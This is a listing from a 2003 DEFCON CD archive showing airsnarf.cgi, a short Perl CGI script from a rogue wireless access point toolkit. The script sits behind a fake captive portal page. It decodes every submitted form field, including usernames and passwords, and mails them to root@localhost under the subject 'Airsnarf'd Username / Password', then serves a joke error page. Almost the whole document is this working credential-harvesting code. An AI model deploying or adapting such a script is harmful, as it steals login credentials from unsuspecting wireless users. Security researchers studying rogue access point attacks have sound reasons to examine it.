home *** CD-ROM | disk | FTP | other *** search
/ DEFCON 11 / DefCon11.bin / Beetle / extra / alqaeda / cgi-bin / airsnarf.cgi
Text File  |  2003-07-16  |  1KB  |  35 lines
  1. #!/usr/bin/perl
  2. # chmod +x this file and stick it in your cgi-bin directory
  3.  
  4. # CHANGE THESE VARIABLES $page_title $page_message $page_image
  5. $page_title = "Al Qaeda Coffee - Sorry!";
  6. $page_message = "Terrorist network not available right now!<br><br>Please contact <a href=\"mailto: coffee\@fbi.gov\">coffee\@fbi.gov</a> for assistance.";
  7. $page_image = "alqaedacoffee.jpg";
  8.  
  9. print "Content-type:text/html\n\n";
  10.  
  11. read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
  12. @pairs = split(/&/, $buffer);
  13. foreach $pair (@pairs) {
  14.     ($name, $value) = split(/=/, $pair);
  15.     $value =~ tr/+/ /;
  16.     $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
  17.     $FORM{$name} = $value;
  18. }
  19. $mailprog = '/usr/sbin/sendmail';
  20. $recipient = 'root@localhost';
  21. open (MAIL, "|$mailprog -t") or dienice("Can't access $mailprog!\n");
  22. print MAIL "To: $recipient\n";
  23. print MAIL "Subject: Airsnarf'd Username / Password\n\n";
  24. foreach $key (keys(%FORM)) {
  25.     print MAIL "$key = $FORM{$key}\n";
  26. }
  27. close(MAIL);
  28.  
  29. # return HTML message to user
  30. print "<html><head><title>$page_title</title></head><body>";
  31. print "<center>";
  32. print "<img src=\"/$page_image\"><br><br>";
  33. print "$page_message<br><br>\n";
  34. print "</body></html>";
  35.